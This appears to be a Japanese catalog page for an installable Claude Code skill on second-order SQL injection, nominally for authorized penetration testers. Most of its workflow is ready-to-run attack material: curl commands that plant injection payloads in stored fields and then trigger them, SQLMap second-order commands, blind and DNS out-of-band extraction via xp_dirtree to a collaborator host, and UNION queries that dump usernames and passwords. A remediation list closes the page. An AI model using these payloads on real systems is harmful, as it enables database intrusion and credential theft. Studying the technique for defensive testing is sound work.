performing-second-order-sql-injection について
入力をいったん保存し、後続の処理で注入を発生させる二次 SQL インジェクションを、認可されたペネトレーションテスターが評価するためのスキルです。保存箇所とトリガー箇所の特定、SQLMap によるテスト、ブラインド注入の検証を扱います。
主な機能
- 01保存箇所とトリガー箇所の特定
- 02テスト用ペイロードの保存
- 03SQLMap による二次攻撃のテスト
- 04応答差によるブラインド注入の検証
- 05リクエストをまたぐ処理フローの追跡
活用シーン
- 01ユーザープロフィールの後続処理のテスト
- 02管理画面による投稿データ処理の評価
- 03レポートやエクスポート処理のクエリ確認
- 04保存データを使うストアドプロシージャの検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-second-order-sql-injectionインストール後、Claude Code で/performing-second-order-sql-injectionを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
二次 SQL インジェクションの実行
使用する場面
- 一次 SQL インジェクションのテストで、保存時に適切な入力サニタイズが行われていることが判明した場合
- ユーザー生成コンテンツがデータベースに保存されるアプリケーションのペネトレーションテスト中
- 保存されたデータが後続のデータベースクエリに渡される、複数ステップのワークフローをテストする場合
- ユーザー投稿データを表示または処理する管理パネルの評価中
- 以前に保存したデータを使用するストアドプロシージャの実行経路を評価する場合
前提条件
- アプリケーションのフロー全体でリクエストを追跡するための Burp Suite Professional
- 二次インジェクションに対応した SQLMap(--second-url フラグ)
- SQL インジェクションの基礎とブラインド抽出手法に関する理解
- 2 つ以上のアプリケーション機能(データを保存する機能と、実行をトリガーする機能)
- データベースのエラーメッセージを監視する手段、またはブラインド手法に関する知識
- 異なるコンテキスト間で保存データをテストするための複数のユーザーアカウント
ワークフロー
ステップ 1 — 保存ポイントとトリガーポイントの特定
# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
# - User registration (username, email, address)
# - Profile update forms
# - Comment/review submission
# - File upload metadata
# - Order/booking details
# 2. TRIGGER POINTS: Where stored data is used in queries
# - Admin panels displaying user data
# - Report generation
# - Search functionality using stored preferences
# - Password reset using stored email
# - Export/download features
# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&[email protected]"
ステップ 2 — 保存ポイント経由でペイロードを注入
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&[email protected]"
# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"
# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
ステップ 3 — 保存したペイロードの実行をトリガー
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"
# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
ステップ 4 — 二次インジェクションに SQLMap を使用
# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&[email protected]" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
ステップ 5 — ブラインド二次抽出
# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"
# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Time-based blind second-order
# Store: test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; WAITFOR DELAY '0:0:5'--"
# Out-of-band extraction via DNS
# Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"
ステップ 6 — データベース全体の侵害へとエスカレート
# Once injection is confirmed, enumerate database
# Store UNION-based payload
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"
# Extract credentials
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"
# Trigger execution and read results
curl http://target.com/profile
主な概念
| 概念 | 説明 |
|---|---|
| 二次インジェクション | SQL ペイロードが安全に保存され、後続の処理で安全でない形で実行されること |
| 保存ポイント | 悪意のある入力がデータベースに保存されるアプリケーション機能 |
| トリガーポイント | 保存データを取得し、安全でないクエリで使用する別の機能 |
| 信頼済みデータの前提 | 開発者がデータベースに保存されたデータを安全だとみなし、パラメーター化を省略すること |
| ストアドプロシージャチェーン | 以前に保存したユーザーデータを使用するストアドプロシージャを介したインジェクション |
| 遅延実行 | 最初に保存してから数時間または数日後まで、ペイロードが実行されない場合があること |
| クロスコンテキストインジェクション | あるユーザーが保存したデータが、別のユーザーのコンテキストで実行をトリガーすること |
ツールとシステム
| ツール | 目的 |
|---|---|
| SQLMap | 二次攻撃向けの --second-url に対応した SQL インジェクションの自動化 |
| Burp Suite | 保存エンドポイントとトリガーエンドポイント間のリクエスト追跡と比較 |
| OWASP ZAP | インジェクション検出機能を備えた自動スキャン |
| Commix | 二次手法に対応したコマンドインジェクション自動化ツール |
| カスタム Python スクリプト | 保存とトリガーを組み合わせた攻撃チェーンの自動化 |
| DBeaver/DataGrip | 保存されたペイロードを検証するためのデータベースへの直接アクセス |
よくあるシナリオ
- ユーザー名ベースの攻撃 — SQL インジェクションのペイロードをユーザー名として登録し、管理者がユーザー一覧を表示した際にペイロードを実行させます
- パスワード変更を悪用した攻撃 — ユーザー名にインジェクションを保存し、パスワード変更時にアプリケーションが保存済みのユーザー名を安全でない UPDATE クエリで使用するよう仕向けます
- レポート生成を狙った攻撃 — 保存データのフィールドにペイロードを注入し、レポート生成時に保存データが集計クエリで使用されるようにします
- クロスユーザーインジェクション — 共有データフィールド(コメント、レビュー)にペイロードを注入し、別のユーザーまたは管理者がデータを処理した際に実行させます
- エクスポート機能の悪用 — プロフィールデータにペイロードを注入し、CSV/PDF のエクスポート処理中に実行させます
出力形式
## Second-Order SQL Injection Report
- **Target**: http://target.com
- **Storage Point**: POST /register (username field)
- **Trigger Point**: GET /admin/users (admin panel)
- **Database**: MySQL 8.0
### Attack Flow
1. Registered user with username: `admin' UNION SELECT password FROM users--`
2. Application stored username safely using parameterized INSERT
3. Admin panel retrieves usernames with unsafe string concatenation in SELECT
4. Injected SQL executes, revealing all user passwords in admin view
### Data Extracted
| Table | Columns | Records |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |
### Remediation
- Use parameterized queries for ALL database operations, including reads
- Never trust data retrieved from the database as safe
- Implement output encoding when displaying database content
- Apply least-privilege database permissions
- Enable SQL query logging for detecting injection attempts
コメント
Markdown 対応